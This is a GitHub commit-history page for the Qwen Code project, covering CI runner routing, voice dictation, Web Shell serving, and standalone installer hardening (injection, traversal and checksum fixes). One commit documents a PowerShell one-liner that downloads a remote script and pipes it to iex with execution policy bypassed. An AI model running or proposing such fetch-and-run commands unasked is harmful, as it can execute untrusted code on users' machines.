Qwen Code CI / CodeQL (push) Blocked by required conditions
Qwen Code CI / Integration Tests (CLI, No Sandbox) (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* ci: stop running push CI on release/** branches
release.yml pushes version + changelog commits to the release branch.
With 'release/**' under the push trigger, that fired a full push-event CI
run (mac/win/CodeQL all run since event != pull_request) on the release
PR's head, blocking it from main's merge queue and double-running the
matrix. Nothing gates on it: release branches have no protection and
publish happens inside release.yml. Keep 'release/**' under pull_request
for backport PRs.
* ci: split platform test matrix into named jobs to unblock merge queue
The macOS/Windows tests are required status checks that only run in the
merge queue (if: event_name != 'pull_request'). As a single matrix job, a
skipped run collapses to one check named 'Test (${{ matrix.os }}, Node
${{ matrix.node-version }})' — so the required contexts 'Test
(macos-latest, Node 22.x)' and 'Test (windows-latest, Node 22.x)' are never
reported on the PR head and sit 'Expected' forever, leaving every PR BLOCKED
and unable to enter the queue (observed on #5830/#5832).
Split into two named jobs. A skipped named job reports under its exact name
(conclusion: skipped), which satisfies the required check on the PR head —
exactly how the merge-queue-only Integration Tests job already behaves — so
PRs can enter the queue, where these jobs run for real and gate the merge.
No PR-stage runner cost (skipped jobs spin no runner); no ruleset change.
* test(ci): update no-AK wiring test for split platform jobs
The test looked up the 'test_platforms' matrix job, which this branch
split into named 'test_macos' / 'test_windows' jobs. Assert the same
properties (no no-AK script, immutable PR-head checkout) on both new jobs.
|
||
|
|
0b5df52908
|
ci: collapse PR checks into Ubuntu gate (#5767)
* ci: collapse pr checks into ubuntu gate * ci: keep platform PR tests in matrix * ci: update no-ak gate wiring test * ci: bypass stale self-hosted git cache * ci: refresh self-hosted checkout cache * ci: refresh pr refs after cached checkout * ci: fetch fresh pr refs via github url * ci: retry stale pr merge checkout * ci: fetch stale pr merge ref directly * test: isolate qwen serve streaming home * test: keep qwen serve fake server off proxy * ci: check out PR head ref to avoid merge-ref lag The Ubuntu gate kept failing on the self-hosted runner: the PR checkout used github.ref (refs/pull/N/merge), which GitHub rebuilds asynchronously and can serve stale for minutes after a push, so the verify guard saw a tree without the PR head. The retry/refresh machinery added to work around this could not help — its direct GitHub fetch fallback times out on the self-hosted squid proxy. Check out refs/pull/N/head instead (immutable, published the instant the branch is pushed) for pull_request events in both the test and test_platforms jobs, and drop the 6-step retry/verify/refresh block. A single sanity guard stays to fail loud if the head is missing. Non-PR events keep github.ref; the merge queue validates the merged result. |
||
|
|
7696d9a7d9
|
ci: route in-repo PRs' Linux test to self-hosted runner (#5620)
* ci: route in-repo PRs' Linux test to self-hosted runner Send the required Linux Test job to the self-hosted ECS runner for PRs whose head branch lives in this repo (which implies the author had write access), while forks and push/merge_group runs stay on GitHub-hosted runners. This lets maintainer changes skip the shared hosted Linux queue without ever running untrusted fork code on self-hosted infrastructure. The MAINTAINER_ECS_RUNNER_DISABLED repo variable forces everything back to hosted if the ECS runner is unavailable. * ci: reuse pre-installed Node on self-hosted runners, route Lint to ECS The self-hosted ECS runners cannot reliably download the Node tarball from nodejs.org through the egress proxy (actions/setup-node aborts mid-download), which failed the Test job routed there. On self-hosted runners, reuse the machine's pre-installed Node instead of re-downloading it every run; hosted runners keep using actions/setup-node. Also route the Lint job to ECS for in-repo PRs — scripts/lint.js already skips installing actionlint/shellcheck/yamllint when they are on PATH, so no lint.js change is needed. * ci: trim verbose runner-routing comments * ci: run classify_pr gate on ECS for in-repo PRs * ci: quote classify_pr/lint runs-on expressions * ci: keep Lint on hosted runners (ECS proxy truncates linter downloads) * ci: route Lint and review/triage gate jobs to self-hosted runner Lint goes back to ECS (linters are now pre-installed on the runners, so scripts/lint.js skips downloading them). The pr-review gate jobs (authorize, review-config, delay-automatic-review, ack-review-request) and the triage authorize gate also move to ECS so the ECS heavy jobs (review-pr, tmux-testing) are no longer bottlenecked by the shared hosted queue. All respect the MAINTAINER_ECS_RUNNER_DISABLED kill-switch. |
||
|
|
8809c16b57
|
fix(voice): bundle native audio addon into standalone archives (#5628)
Standalone archives shipped only curated dist/ entries, so the esbuild-external @qwen-code/audio-capture addon couldn't be resolved at runtime — streaming voice was unavailable in standalone installs (batch only, and only with SoX on PATH). create-standalone-package.js now bundles the addon into lib/node_modules (where the bundled lib/cli.js resolves bare specifiers): the trimmed package.json (install hook removed; type/exports kept for ESM resolution) + dist + only this target's prebuild (win-x64 -> win32-x64) + its zero-dep runtime dependency node-gyp-build. Targets without a matching prebuild (e.g. local builds) ship without it and degrade to SoX/arecord as before (warns, doesn't fail). The release pipeline already downloads prebuilds before packaging. Refs: #5502, #5590. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> |
||
|
|
580a72410f
|
test(integration): run no-AK smoke tests on PRs (#5607)
* test(integration): run no-AK smoke tests on PRs * test(integration): isolate qwen serve routes auth |
||
|
|
c68983040b
|
fix(ci): harden tmux triage reporting (#5548)
* fix(ci): harden tmux triage reporting * fix(ci): address tmux triage review feedback * fix(ci): tighten tmux triage review followups * fix(ci): address tmux triage review followups * fix(ci): simplify tmux triage hardening * fix(ci): sanitize tmux triage verdict output * fix(ci): harden tmux result rendering * ci: strip step summary from triage build * fix(ci): report missing tmux artifacts * fix(ci): clarify tmux prepare diagnostics |
||
|
|
b9c5e3566b
|
feat(voice): voice dictation with native capture, streaming, and biasing (#5502)
* feat(voice): voice dictation with native capture, streaming, and biasing
Add voice dictation for the prompt input:
- /voice [hold|tap|off|status] command + general.voice.{enabled,mode,language,protocol} settings; push-to-talk via Space, /model --voice to pick the model
- Native microphone capture (@qwen-code/audio-capture, miniaudio N-API) with arecord/SoX fallback, silence auto-stop, cold-start warm-up, and macOS permission query
- Batch transcription via DashScope Qwen-ASR (OpenAI-compatible chat/completions + input_audio) with language + keyterm biasing and an echo guard
- Live streaming over the DashScope realtime WebSocket (fun-asr-realtime / paraformer-realtime-v2) with interim text and an input-level waveform, behind voice.protocol=dashscope-realtime
- Rich VoiceIndicator UI (state, level meter, live partial transcript)
- Cross-platform prebuilds via prebuildify + node-gyp-build and a CI matrix
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* feat(cli): route voice ASR by model
* feat(cli): polish voice realtime parity
* ci: fix voice workflow checks
* fix(cli): address voice review blockers
* fix(cli): harden voice transcription failures
* fix(cli): address voice PR review blockers
* fix(cli): harden voice review follow-ups
* fix(voice): handle realtime review blockers
* fix(cli): add voice command i18n keys
* fix(cli): address voice review blockers
* fix(cli): address voice review follow-ups
* fix(voice): harden review edge cases
* fix(voice): address release and realtime review blockers
* fix(voice): address realtime suggestion followups
* fix(voice): handle realtime review followups
* fix(voice): address realtime review blockers
* fix(voice): address review feedback
* fix(voice): address recorder review feedback
* docs(voice): document ssrf guard boundary
* fix(voice): address review feedback
* fix(voice): preserve warm recorder session safety
* fix(voice): address stream review suggestions
* fix(voice): address multi-round review findings
Realtime/streaming:
- Salvage an already-committed transcript when the WebSocket closes right
after finish() instead of rejecting the whole dictation
(qwenAsrRealtimeSession, voiceStreamSession) + regression tests.
useVoiceInput state machine:
- Single-shot finalize guard so a tap-stop racing the silence auto-stop can't
double-stop the recorder and surface a spurious failure.
- Reset mountedRef on (re)mount so StrictMode (DEBUG) can't freeze the voice UI.
- Widen the hold-mode first-press release window above common key-repeat delays.
Model selection:
- Reject ids with no ASR transport at /model --voice and in the model dialog via
a new isSelectableVoiceModel; move resolveVoiceTransport into voiceModel so the
record-time config resolver stays transport-agnostic (+ tests).
macOS mic permission:
- Surface the not-determined state in voice warmup so the first dictation isn't
silently lost behind the TCC dialog.
Native packaging:
- Make the audio-capture native install non-fatal (falls back to SoX/arecord) so
a voice-only build failure can't break npm ci.
- Download audio-capture prebuilds before building standalone release archives.
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(voice): address review blockers
* fix(voice): update batch recording audio level
* fix(voice): tap-mode transcript loss, stream leaks, and dead keyterm cleanup
- Tap-mode dictation submitted a stale empty buffer.text, wiping the just-
inserted transcript and sending nothing: thread the resulting prompt text
through onSubmit(text) instead of reading buffer.text back synchronously
after the async insert (useVoiceInput, InputPrompt).
- Streaming finalize leaked the WebSocket session when recorder.drain() threw:
abort the session before propagating the error.
- voiceStreamSession: reject the connect promise when 'task-finished' arrives
before 'task-started' instead of hanging forever in 'transcribing'.
- Remove dead keyterm enrichment (project/branch/recent-file paths were
unreachable after the privacy fix) and the now-inert CJK echo guard, plus the
tests that asserted that removed behavior; fix the misleading "OpenAI prompt
field" comment.
- Add the missing 'Voice Model' and macOS mic-permission i18n keys to
en/zh/zh-TW (they were falling back to English; check-i18n doesn't flag keys
absent from en).
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(voice): reject partial stream transcripts
* fix(cli): let dialogs consume voice keys first
* fix(voice): reject incomplete qwen realtime transcripts
* fix(voice): handle stream review blockers
* fix(voice): salvage qwen realtime transcript on close
* fix(voice): sanitize streamed transcript text
* test(audio): run audio capture tests in CI
* fix(voice): address review blockers
* fix(voice): report stream close while recording
* fix(voice): reduce keyterm echo false positives
* fix(voice): handle realtime close diagnostics
* fix(voice): address realtime review blockers
* fix(lint): allow legacy voice filenames
* chore(cli): rename voice files to kebab-case
---------
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
||
|
|
75fc0a5c18
|
feat(extensions): support archive install sources (#4909)
* feat(extensions): support archive install sources * fix(core): harden extension archive installs |
||
|
|
e88356c6b7
|
ci(release): auto-publish VSCode companion after releases (#5572) | ||
|
|
715ef938f5
|
feat(cli): serve the Web Shell UI from qwen serve (#5392)
* feat(cli): serve the Web Shell UI from `qwen serve` `qwen serve` now serves the built Web Shell SPA at its root on the same origin as the API, so a released binary exposes the browser terminal without the dev-only Vite server (the `npm run dev:daemon` two-process setup is unchanged for development). - New `webShellStatic.ts` mounts `/`, `/assets/*` and an SPA deep-link fallback. The fallback uses the same document-navigation discriminator as the Vite dev proxy so it never shadows API JSON 404s. - The static shell is registered BEFORE bearerAuth (a browser can't attach a token to a `<script>` subresource or an address-bar navigation; the shell carries no secrets and every API route stays token-gated). HTML responses set CSP + X-Frame-Options + Referrer-Policy + no-cache. - `--open` launches the browser at the daemon URL (with `?token=` when set) once the listener is up, guarded by `shouldLaunchBrowser()`. - `--no-web` opts out for an API-only daemon. - Bundle / npm publish / standalone packaging now ship `dist/web-shell/`. Missing assets degrade to API-only with a breadcrumb, never a hard fail. Tests: +6 cases in server.test.ts (root shell, assets, SPA fallback, non-navigation 404 passthrough, security headers, --no-web off). * fix(cli): address review on Web Shell serving Review fixes for #5392 (qwen-code-ci-bot): - [Critical] SPA fallback no longer shadows /health or /demo on non-loopback binds — those paths fall through to their own routes / bearerAuth instead of receiving index.html. - [Critical] --open trims the bearer token before putting it in the browser URL, matching runQwenServe's own trimming, so a trailing newline from `$(cat token.txt)` no longer makes every API call 401. - --open is wrapped in its own try/catch so a failed browser launch can't take down the already-listening daemon; it normalizes wildcard binds (0.0.0.0 / ::) to loopback, and only fires when the UI is actually mounted (new RunHandle.webShellMounted). - resolveWebShellDir() now requires BOTH index.html and assets/, so a partial build degrades to API-only instead of serving a shell whose chunks 404. - runQwenServe logs a positive "Web Shell UI served from <dir>" breadcrumb, and warns that on a non-loopback bind without --allow-origin the shell is read-only (same-origin POSTs are blocked by the CORS wall). - Document the --open token-in-process-list exposure in help text + a stderr note when a token is forwarded. - Tests: POST method guard, sec-fetch navigation signal, /health not shadowed, sendFile 500 path, plus isDocumentNavigation and resolveWebShellDir units. * fix(cli): harden Web Shell asset resolution and send-error logging Second-round review (claude /qreview on the initial commit): - resolveWebShellDir() now walks up from this module to find a sibling packages/web-shell/dist, covering the transpiled layouts the previous fixed `..` depth missed — per-package `tsc` output and the integration daemon harness (packages/cli/dist/index.js), which would otherwise resolve to nonexistent paths and silently run API-only. - sendFile failures are no longer silent: log the error (matching the /demo handler — previously the only 5xx path that emitted nothing) and res.end() a half-streamed response instead of leaving the client on a 200 with a partial body. The remaining comment (open-browser inside the boot try) was already fixed in |
||
|
|
62e45c567f
|
feat(desktop): Add desktop app package with Qwen ACP SDK integration (#3778) | ||
|
|
ac4d100e1a
|
fix(installer): print shell reload hint when new qwen is not picked up (#4960)
Some checks are pending
Qwen Code CI / Classify PR (push) Waiting to run
Qwen Code CI / Lint (push) Blocked by required conditions
Qwen Code CI / Test (macos-latest, Node 22.x) (push) Blocked by required conditions
Qwen Code CI / Test (ubuntu-latest, Node 22.x) (push) Blocked by required conditions
Qwen Code CI / Test (windows-latest, Node 22.x) (push) Blocked by required conditions
Qwen Code CI / Post Coverage Comment (push) Blocked by required conditions
Qwen Code CI / CodeQL (push) Blocked by required conditions
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* fix(installer): print shell reload hint when new qwen is not picked up The installer updates the shell rc file, but the invoking shell keeps its original PATH, so right after install `qwen` can still resolve to an older install (e.g. a previous npm global version) with no indication of why. Capture the PATH inherited from the invoking shell and, when the new install is not reachable from it (install dir missing from PATH, or another qwen executable shadows it), print the exact reload command in the start steps and warn about the shadowing executables. * fix(installer): derive reload hint from the rc file actually written maybe_update_shell_path can fall back to ~/.bash_profile (or create ~/.bashrc), but the summary re-derived the rc name from $SHELL alone and always claimed ~/.bashrc for bash. Record the file the PATH block was written to in PATH_UPDATE_RC_FILE and build both the success message and the source hint from it, so the two can no longer drift apart. Also drop the non-hermetic shadow-warning assertion from the reload-hint test: PRE_INSTALL_QWENS scans well-known absolute paths regardless of PATH, so the warning may legitimately fire on hosts with qwen installed. Add a regression test for the macOS-style .bash_profile-only setup. |
||
|
|
968a0d1f03
|
fix(installer): auto-detect SYSTEM account and default PATH scope to machine (#4903)
* fix(installer): auto-detect SYSTEM account and default PATH scope to machine When the Windows standalone installer runs as the SYSTEM account (SID S-1-5-18), which is common for ECS Workbench SSM, WinRM, and scheduled tasks, the default --path-scope is now 'machine' instead of 'user'. Previously, persisting PATH to the SYSTEM user's HKCU hive had no effect on new sessions spawned by the SSM agent service, because the agent inherits its environment at service start time and never re-reads HKCU. Writing to the Machine PATH (HKLM) ensures new sessions pick up the qwen shim immediately. Also adds: - --repair-path flag to fix PATH for an existing install without reinstalling - --path-scope user|machine CLI option and QWEN_INSTALL_PATH_SCOPE env var - Uninstaller now cleans both User and Machine PATH entries - CI validation step for hosted installation assets Resolves #4901 * test(installer): add Windows self-hosted qwen smoke * fix(installer): address Windows PATH review feedback * refactor(installer): remove redundant YAML validation, deduplicate test fixtures - Remove windows-self-hosted-qwen-smoke.yml (operational tool, not part of fix) - Revert sync-release-to-oss.yml validate step (redundant with JS behavior guards) - Extract duplicated test fixture strings into shared constants - Pass normalized path to Remove-PathEntry to avoid double Get-NormalizedPath - Fix stale comment referencing "user PATH" when scope is now configurable * chore: drop unrelated dev.test.js changes from installer PR |
||
|
|
32fbedabd6
|
feat(ci): add auto-generated CHANGELOG.md synced from releases (#4872) (#4881)
* feat(ci): add auto-generated CHANGELOG.md synced from releases (#4872) Add a Keep a Changelog CHANGELOG.md that is fully derived from the project's GitHub Releases, so users no longer have to dig through commit history to see what changed between versions. - scripts/generate-changelog.js: fetch releases via the gh CLI, keep only stable vX.Y.Z tags (nightly/preview omitted), and re-group each release's auto-generated "What's Changed" list into Added/Changed/Fixed/Performance/ Documentation/Other sections by the conventional-commit prefix every PR title uses. Zero runtime deps (node builtins + gh). - release.yml: regenerate and commit CHANGELOG.md on stable releases; the commit rides the existing release-branch PR into main. - package.json: add 'npm run changelog'. - .prettierignore: skip the generated file. - Seed CHANGELOG.md from the current stable release history. Closes #4872 * ci(release): make CHANGELOG regeneration non-blocking Add continue-on-error to the CHANGELOG step. Its only realistic failures (the gh API read and the git push) are transient, and the generator rebuilds from the full release history each run, so a skipped update self-heals on the next stable release. This keeps a changelog hiccup from blocking the version-bump PR to main that follows. * fix(ci): harden changelog generator per review Address review findings on the changelog generator: - Command injection: fetchReleasesJsonl built a shell string with the repo interpolated; switch to execFileSync (no shell) plus an owner/name format check so --repo can never be a shell payload. - Empty-response clobber: if the API returns zero stable releases (rate limit, auth, 5xx), refuse to overwrite CHANGELOG.md and exit 1 instead of committing a header-only stub. Paired with set -euo pipefail in the workflow so the failure is visible and the non-blocking step self-heals next release. - Arg parsing: switch getArgs() to parseArgs() (already imported) so a --dryrun typo errors instead of silently overwriting, and -h works as documented. - Breaking changes: capture the conventional-commit ! marker and prefix the entry with **BREAKING** (the repo uses feat()!:/refactor()!: in practice). - Bot authors: ENTRY_RE now accepts a trailing [bot] so GitHub App authors (e.g. @dependabot[bot]) are not dropped from release notes. Regenerates CHANGELOG.md (two entries now flagged **BREAKING**). * refactor(ci): simplify changelog generator Quality-only cleanup (output is byte-identical; 23 tests green): - Single source of truth for sections: derive TYPE_TO_SECTION and SECTION_ORDER from one SECTIONS list so they can't drift. - Parse each entry once: formatRelease now reuses the categorize() result for the noise check, section lookup, and formatEntry (was parsed up to 3x). - Drop the redundant sortKey field; sort directly from version. - Collapse the duplicated double-.map() setup in the selectStableReleases test. |
||
|
|
0def5f77ff
|
fix(installer): correct 'for more info' URL to GitHub repo instead of docs site (#4916)
Co-authored-by: tanzhenxin <tanzhenxing1987@gmail.com> |
||
|
|
4bb2099089
|
fix(ci): normalize dev launcher path assertions on Windows (#4915)
The two Windows-targeted dev.js launcher tests added in #4728 mock existsSync with forward-slash suffix matching and assert spawn args via forward-slash stringContaining. On a real windows-latest runner dev.js builds these paths with path.join, which yields backslashes, so the existsSync mock never matches, dev.js takes the bare tsx.cmd shell fallback, and both tests fail. On macOS/Linux the platform() mock plus real forward-slash joins keep them green, which is why main CI has been red only on the Windows job since |
||
|
|
423cac110c
|
feat(acp): support desktop qwen integration (#4728)
* feat(acp): support desktop qwen integration * feat(providers): add qwen3.7 standard models |
||
|
|
45efb1d3aa
|
fix(cli): bundle extension examples (#4719) | ||
|
|
aef3e704b4
|
feat(installer): verify release assets + switch public docs to standalone entrypoint (#3855)
* fix(installer): tighten verifier base-url + clarify test helper
Three small refinements from the second review pass:
- normalizeHttpsBaseUrl rejects everything except https, since real release
URLs are always HTTPS. Accepting http previously would let an operator
silently target a stale or attacker-controlled mirror.
- Drop EXPECTED_RELEASE_ASSET_NAMES from the public exports; it was only
used internally for the verification log line.
- Rename the test helper standaloneChecksumContent to
placeholderChecksumContent and document that the hashes in its output are
placeholders — the remote verifier does not download archives or compare
hashes, it only validates that SHA256SUMS lists the expected names and
that each archive URL is reachable.
The non-https rejection test now also covers `http://` in addition to the
existing `file://` case.
* style(installer): align installer completion output
* revert(installer): keep hosted installer output unchanged
* fix(installer): address release validation review feedback
* docs: switch public install commands to standalone hosted entrypoint
Update README, quickstart, and overview to point at the new
install-qwen-standalone.sh / install-qwen-standalone.ps1 hosted URLs.
Add standalone uninstall instructions to Uninstall.md. Remove the
staged-rollout note from INSTALLATION_GUIDE.md since the hosted
installers and release archive sync are now validated in production.
* docs: clarify pull request size guidance
* fix(installation): harden standalone release validation
* fix(installation): redact release verifier credentials
* feat(installer): add visual branding to Linux/macOS install script
Add brand-colored ASCII art logo, custom download progress bar with
Unicode block characters, and step indicators [1/3] [2/3] [3/3] to
match the quality of competing CLI installers.
* fix(test): update stale assertion after guide text was removed
The text "Public installation documentation" was removed in
|
||
|
|
5493888c15
|
ci: split Aliyun OSS sync into a separate post-release workflow (#4492)
* ci: split Aliyun OSS sync into a separate post-release workflow The OSS upload and verification steps were adding significant time to the release workflow's critical path. Move them into a new `sync-release-to-oss.yml` workflow that triggers on `release: published`, running asynchronously after the release completes. Key changes: - Extract all OSS steps (ossutil install, credential config, asset upload, verification, hosted installation sync, latest VERSION pointer) into `sync-release-to-oss.yml` - Switch `gh release create` to use CI_BOT_PAT so the release event can trigger the new downstream workflow (GITHUB_TOKEN events don't trigger other workflows) - Add `workflow_dispatch` input for manual re-runs on failure - New workflow downloads release assets from GitHub Release instead of rebuilding them This decouples publishing from CDN distribution: the release finishes as soon as npm publish + GitHub Release are done, and China CDN sync happens in parallel without blocking. * fix(test): update install-script test to check sync-release-to-oss.yml The test asserts OSS sync steps exist in the workflow. Now that these steps live in sync-release-to-oss.yml instead of release.yml, update the test to read from the correct file and add assertions that release.yml no longer contains OSS logic. * fix(ci): address review feedback for OSS sync split - Add 'Verify Standalone Archives' step before gh release create in release.yml as a pre-publish safety gate (wenshao) - Add concurrency group to sync-release-to-oss.yml to prevent race conditions when multiple releases publish close together (wenshao) - Update test to assert verify step exists in release.yml * chore: add comment explaining CI_BOT_PAT requirement [skip ci] |
||
|
|
d59c9e7b77
|
feat(installer): add standalone hosted install and uninstall flow (#3828)
* feat(installer): add standalone archive installation * fix(installer): harden standalone archive installs * fix(installer): address standalone review findings * chore(installer): clarify review followups * fix(installer): stabilize standalone script checks * chore(installer): remove internal planning docs * chore(installer): simplify standalone release review fixes * test(installer): add Windows batch install smoke * test(installer): fix Windows batch smoke quoting * test(installer): preserve Windows cmd quotes * fix(installer): use robust Windows checksum hashing * ci: narrow installer debug matrix * fix(installer): address standalone review hardening * fix(installer): avoid Windows validation parse errors * fix(installer): simplify Windows option validation * fix(installer): harden standalone review fixes * feat(installer): publish release installer assets * fix(installer): address release asset review feedback * fix(installer): avoid prerelease installer asset links * test(installer): isolate standalone dist fixture * feat(installer): add hosted install release alias * chore: no changes - code review requested Agent-Logs-Url: https://github.com/QwenLM/qwen-code/sessions/38467aec-15b9-4b76-9139-0b2cfe40477a * fix(installer): pin versioned installer assets * fix: parallelize Node.js binary downloads in standalone release build Use Promise.all instead of sequential for...of+await for the 5 independent Node.js runtime downloads, reducing CI release build time by ~4-5x. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(installer): address release asset review followups * refactor(installer): share release CLI parsing * fix(installer): address release asset review followups - sh: reject CR/LF in archive entry names before the literal `..` glob so a `..\r` entry cannot bypass path validation. - bat: prefer Tls12+Tls13 in PowerShell helpers, fall back to Tls12 alone on older .NET Framework where the Tls13 enum is missing. - bat: document the implicit `:ValidateOptions` dependency next to the qwen.cmd wrapper writer so loosening the validator stays a conscious choice. - build-standalone-release: surface the `xz-utils` host requirement for Linux Node downloads in `--help`. - release-script-utils: support `--key=value` form in `parseCliArgs`. - tests: cover the new CRLF message, TLS string, and `--key=value` parsing; register process-level signal/exit handlers in `ensureMinimalDist` so a crashed test still restores `dist/`. * fix(installer): unblock Windows CI for standalone install path Three CI failures and a few review followups in one pass. - ensureMinimalDist places its dist/ backup beside dist/ instead of under os.tmpdir(). On Windows GitHub runners the workspace lives on D: while os.tmpdir() is on C:, so renameSync raised EXDEV for every test that needed to swap dist/ in. - create-standalone-package.js and the matching test fixture build win-x64 zips with [IO.Compression.ZipFile]::CreateFromDirectory. Compress-Archive emits backslash entry names that the .bat installer's path-traversal guard then rejected, so every freshly built archive failed the standalone install path on Windows. - :ValidateArchiveContents normalizes entry separators to '/' before checking for '..', absolute paths, and drive prefixes - archives from any Windows zip tool still install while real traversal entries remain rejected. - createWindowsTraversalStandaloneArchive runs PowerShell via -File instead of a single -Command line; the joined-with-'; ' form had a function definition the runner's PowerShell refused to parse. Drive-by review followups: - replaceRequired uses replaceAll so a future duplicate placeholder cannot silently keep the trailing copy as 'latest'. - :ValidateOptions runs the unsafe-character check on SOURCE alongside the other variables. - build-installation-assets.js drops a dead INSTALLATION_ASSETS re-export; consumers already import from release-asset-config.js. - .gitignore covers the new sibling .qwen-dist-backup-* directory. * fix(installer): address release asset review findings * fix(installer): keep installer entrypoint hosted * fix(installer): reject stale hosted assets * fix(installer): refine hosted asset staging * fix(installer): tighten hosted default-version check, flag legacy URL - Replace the loose `latest` fragment check with per-format regex patterns in HOSTED_INSTALLER_DEFAULT_VERSION_PATTERNS so an unrelated occurrence of `latest` (comment, help text) cannot satisfy the staging guard. The patterns still tolerate whitespace variation, only the default-version assignment itself must be intact. - Add a "Hosted endpoint status" callout in INSTALLATION_GUIDE.md before the curl examples. The documented `--version` flow does not work against the OSS URL today because it currently serves the legacy NVM-based installer; the callout points users at a local checkout until the next release sync. - Tests: drop `latest` from the fragments equality assertion, add positive and negative regex coverage, add a failure-path case for sources whose default version is not `latest`, and pin the new guide markers so the callout cannot silently disappear. * feat(installer): verify installation release assets Adds `npm run verify:installation-release` and wires it into the release workflow after `Build Standalone Archives`, so a broken release directory fails CI before publishing. Local mode (`--dir PATH`) checks: - All five `qwen-code-{platform}.{ext}` standalone archives exist. - `SHA256SUMS` covers exactly those five — missing or unexpected entries fail. - Each archive's actual SHA256 matches its `SHA256SUMS` entry. Remote mode (`--base-url URL`) checks: - `SHA256SUMS` is downloadable, parseable, and contains exactly the expected archive entries. - Each archive URL is reachable via HEAD, with a 1-byte ranged GET fallback for hosts that disable HEAD. Hosted installer scripts (`install-qwen.sh` / `install-qwen.bat`) are intentionally out of scope here — they are served from the hosted endpoint prepared by `package:hosted-installation` (PR #3853), not from the GitHub Release surface this verifier targets. * fix(installer): tighten verifier base-url + clarify test helper Three small refinements from the second review pass: - normalizeHttpsBaseUrl rejects everything except https, since real release URLs are always HTTPS. Accepting http previously would let an operator silently target a stale or attacker-controlled mirror. - Drop EXPECTED_RELEASE_ASSET_NAMES from the public exports; it was only used internally for the verification log line. - Rename the test helper standaloneChecksumContent to placeholderChecksumContent and document that the hashes in its output are placeholders — the remote verifier does not download archives or compare hashes, it only validates that SHA256SUMS lists the expected names and that each archive URL is reachable. The non-https rejection test now also covers `http://` in addition to the existing `file://` case. * fix(installer): address standalone review follow-ups * fix(installer): repair Windows installer tests * fix(release): tighten standalone asset checks * fix(installer): stabilize Windows managed install checks * test(installer): relax Windows installer timeout * fix(test): escape release asset regex * test(cli): avoid POSIX node path in relaunch test * fix(installer): align npm fallback node gate with engines * test(installer): allow Windows archive validation more time * fix(installer): remove stale node 20 installer references * docs(installer): clarify hosted endpoint sync requirement * refactor(installer): reuse standaloneArchiveName in release verifier The verify-installation-release script was duplicating the archive name derivation logic with a hardcoded ternary instead of reusing the standaloneArchiveName helper from build-standalone-release. Export the helper and import it so the extension mapping lives in one place. * fix(scripts): address release verifier review feedback * feat(installer): add standalone archive installer with multi-platform release workflow - Add standalone archive installer (bat/sh) that downloads platform binaries from GitHub/Aliyun without requiring Node.js or npm on the target machine - Add fork-friendly release-test workflow for manual GitHub Release creation covering all 5 platforms (darwin-arm64/x64, linux-arm64/x64, win-x64) - Add OSS upload/mirror tools for staging and release distribution - Update .gitignore to exclude generated build artifacts (release-staging/, hosted-staging/) - Fix Windows PowerShell test command in copy-release-to-latest tool * feat(installer): support QWEN_INSTALL_GITHUB_REPO env var for custom repo * chore(installer): exclude local-only staging tools from PR The tools/ directory contained personal staging-OSS upload helpers (upload-staging, upload-release-mirror, copy-release-to-latest, test-upload-one) that should not ship in the public PR. They reference a personal staging bucket and only exist to validate the installer end-to-end before production release. Removes them from git tracking via `git rm --cached` (files stay on disk for the author's local use) and adds /tools/ to root .gitignore so they cannot be re-added accidentally. No runtime / installer code change. Production CI on ubuntu-latest is unaffected. * fix(installer): enforce CRLF line endings for .bat files via gitattributes cmd.exe requires CRLF in batch scripts; the global eol=lf was causing every line to be misparsed on Windows, producing errors like 'QWEN_VALIDATE_METHOD=detect is not recognized as a command'. * fix(installer): store .bat files with CRLF in git blob for raw GitHub downloads GitHub raw file serving bypasses gitattributes eol conversion and serves blob bytes directly, so eol=crlf alone was not enough. Use -text to disable normalization and commit with actual CRLF so raw downloads work on Windows. * fix(installer): follow HTTP redirects in UrlExists and RaceMirrorHead probes GitHub release asset URLs return HTTP 302 to objects.githubusercontent.com. [Net.WebRequest] with HEAD does not auto-redirect by default, so the existence check and mirror-race probe both incorrectly reported the file as missing. Set AllowAutoRedirect=true on HttpWebRequest instances. * fix(installer): surface download errors and add MaximumRedirection 10 * feat(installer): add hosted install-qwen.ps1 shim for irm|iex one-liner The previous Windows quick-install one-liner used `Invoke-WebRequest -OutFile (Join-Path $env:TEMP 'install-qwen.bat'); & (Join-Path …)`. When pasted into a narrow terminal, line wrap could land on `-OutFile`, orphaning the parameter from its value and producing the "missing argument for OutFile" failure followed by a "file not found" when the second `&` ran. PowerShell's line continuation rules cannot resolve this for parameter-name-at-EOL. Add `install-qwen.ps1` as a thin hosted entrypoint that downloads `install-qwen.bat` into TEMP, runs it, and cleans up. Documented one-liner becomes the standard pattern used by bun, uv, scoop, deno, pnpm: powershell -ExecutionPolicy Bypass -c "irm <url>/install-qwen.ps1 | iex" The `.bat` remains the source of truth for installer behavior; `.ps1` is just the modern hosted entrypoint. Version pinning via `$env:QWEN_INSTALL_VERSION` flows through unchanged. Stored with `*.ps1 -text` so CRLF survives both GitHub raw and OSS uploads, matching the existing `.bat` handling. * fix(installer): stage direct hosted install scripts * chore(installer): trim hosted release diff scope * chore(installer): narrow hosted release diff * feat(installer): restore hosted PowerShell entrypoint * chore(installer): stage standalone hosted entrypoints * fix(installer): address hosted installer review followups * fix(installer): stabilize Windows installer tests * fix(installer): make Windows option validation readable * feat(installer): wire Aliyun OSS sync, address review followups - Add Aliyun OSS sync steps to release workflow: package hosted assets, install pinned ossutil, configure credentials, upload versioned and latest paths, and verify upload via verify:installation-release plus curl probes against the hosted installer endpoint. - Document required production-release environment secrets and bucket variables in INSTALLATION_GUIDE.md. - Restructure hosted endpoint guidance to lead with the pre-sync warning, splitting "Run today" (local checkout) from "After the OSS sync" (hosted one-liners) so users no longer copy a one-liner that silently installs latest. - Distinguish mirror auto-selection timeout from successful selection in install-qwen-standalone.sh and install-qwen-standalone.bat: emit a "timed out; defaulting to github" log instead of pretending the HEAD 